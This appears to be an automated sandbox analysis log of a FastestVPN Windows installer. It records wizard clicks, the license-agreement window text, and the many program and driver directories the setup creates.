    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: Install
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile opened: C:\Windows\SysWOW64\MSFTEDIT.DLLJump to behavior
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpWindow detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Terms of ServiceThis is an agreement between you and FastestVPN.com for virtual private network communications services related services and features. It is NOT a service for the commission of criminal acts. It is an anonymity and privacy service. You agree not to violate any laws of any jurisdiction you are originating from or terminating into.You agree to protect your user id/password and our system from unauthorized use. You are responsible for all actions that occur on our servers where the login uses your user id/password.You agree not to use the system for sending spam port scanning scanning for open proxies or open relays sending opt-in email unsolicited email or any type or version of email sent in large quantities even if the email is ultimately sent off of another server. You agree not to launch any pop-ups from our service. You agree not to attack in any way shape or form any other computer or network while on our service.Actual service coverage speeds locations and quality may vary. The Service will attempt to be available at all times except for limited periods for maintenance and repair. However the Service may be subject to unavailability for a variety of factors beyond our control including emergencies third party service failures transmission equipment or network problems or limitations interference signal strength and may be interrupted refused limited or curtailed. We are not responsible for data messages or pages lost not delivered delayed or misdirected because of interruptions or performance issues with the Service or communications services or networks (e.g. T-1 lines or the Internet). We may impose usage or Service limits suspend Service or block certain kinds of usage in our sole discretion to protect users or the Service. Network speed is an estimate and is no indication of the speed at which your or the Service sends or receives data. Actual network speed will vary based on configuration compression network congestion and other factors. The accuracy and timeliness of data received is not guaranteed; delays or omissions may occur.We do not log any user activity (sites visited DNS lookups emails etc.) We only log access attempts to our servers (for security and troubleshooting). We do not get involved in any form of censorship. We do not give your personal info to any third parties. We do not cooperate with any requests for information unless we are ordered by a court of competent jurisdiction and the vast majority of these requests would not be from a court of competent jurisdiction. We will protect you to the max and our system is setup to automatically do so. There are hundreds of good reasons for being anonymous and we respect them fully.Hacking cracking distribution of viruses fraudulent activities network sa
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpWindow detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Terms of ServiceThis is an agreement between you and FastestVPN.com for virtual private network communications services related services and features. It is NOT a service for the commission of criminal acts. It is an anonymity and privacy service. You agree not to violate any laws of any jurisdiction you are originating from or terminating into.You agree to protect your user id/password and our system from unauthorized use. You are responsible for all actions that occur on our servers where the login uses your user id/password.You agree not to use the system for sending spam port scanning scanning for open proxies or open relays sending opt-in email unsolicited email or any type or version of email sent in large quantities even if the email is ultimately sent off of another server. You agree not to launch any pop-ups from our service. You agree not to attack in any way shape or form any other computer or network while on our service.Actual service coverage speeds locations and quality may vary. The Service will attempt to be available at all times except for limited periods for maintenance and repair. However the Service may be subject to unavailability for a variety of factors beyond our control including emergencies third party service failures transmission equipment or network problems or limitations interference signal strength and may be interrupted refused limited or curtailed. We are not responsible for data messages or pages lost not delivered delayed or misdirected because of interruptions or performance issues with the Service or communications services or networks (e.g. T-1 lines or the Internet). We may impose usage or Service limits suspend Service or block certain kinds of usage in our sole discretion to protect users or the Service. Network speed is an estimate and is no indication of the speed at which your or the Service sends or receives data. Actual network speed will vary based on configuration compression network congestion and other factors. The accuracy and timeliness of data received is not guaranteed; delays or omissions may occur.We do not log any user activity (sites visited DNS lookups emails etc.) We only log access attempts to our servers (for security and troubleshooting). We do not get involved in any form of censorship. We do not give your personal info to any third parties. We do not cooperate with any requests for information unless we are ordered by a court of competent jurisdiction and the vast majority of these requests would not be from a court of competent jurisdiction. We will protect you to the max and our system is setup to automatically do so. There are hundreds of good reasons for being anonymous and we respect them fully.Hacking cracking distribution of viruses fraudulent activities network sa
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPNJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\unins000.datJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-U28J4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-S1CTK.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-9JEIB.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-K5QR5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-43KDF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-1G987.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-1D2AA.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-IKS22.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-V8IR1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-AKR35.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-MLS3U.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-6E016.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-36LHL.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-T8IR5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-FI5UV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-JUGN8.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-QN6B0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-ERPH0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-DC4V4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-6KVN1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-FDL4T.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-P5MPD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-P4NC5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-DLS79.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-EV611.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-29MT4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-IDIHR.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-3T92M.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-9AV56.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-21GOU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-FS0VU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-GTIO3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-BJMR4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-LSBTJ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-950A5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-OB5A6.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-2Q1GI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-T36FQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-9HV88.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-L52FN.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-Q7VN9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-UHR8C.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-IURM0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-6ANJF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-GTC50.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-1L7K0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-0H0J5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-QEJK5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\ResourcesJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-9D9JG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-BUHJE.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-0N43E.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-FLT4I.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-VSH0G.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-SRDRF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-625EJ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-5L8BD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-PGVDP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-935KR.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-M7B0D.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-6QD3F.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-92412.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-V8SS9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-6R08K.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-MISRG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-BQE44.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-72O2I.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-VKJQU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-PVOM6.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-APR4M.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\dataJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-KM2CD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-1BLF6.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-O67AC.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-J94KH.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driverJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\is-HOJII.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\is-OTK12.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windowsJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-ODB2O.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-2EE9C.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-5MM1Q.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-ECRGA.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-AONU2.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-7IJT0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-EECQT.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-78J0N.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-HG9F3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-87ND4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-3FPII.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-RDQQ1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-84OSI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-Q0ERH.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-4I2HI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-4HA7V.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-E1J18.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-D8IDU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-TDOKK.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-N2DQ9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-1REBS.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-CEAE4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-GBTCG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-SN54O.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\spJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\is-3C0V7.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\is-RCT9Q.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driverJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\is-0Q8U0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\is-FH0V4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\is-PAMI1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\is-A7TIP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\releaseJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\release\is-VKG1P.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\release\is-TB154.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\ServiceJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-0I6F0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-N7NUO.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-2IA4L.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-30IMG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-I39KV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-3717G.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-OAN7C.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-MTDN1.tmpJump to behavior
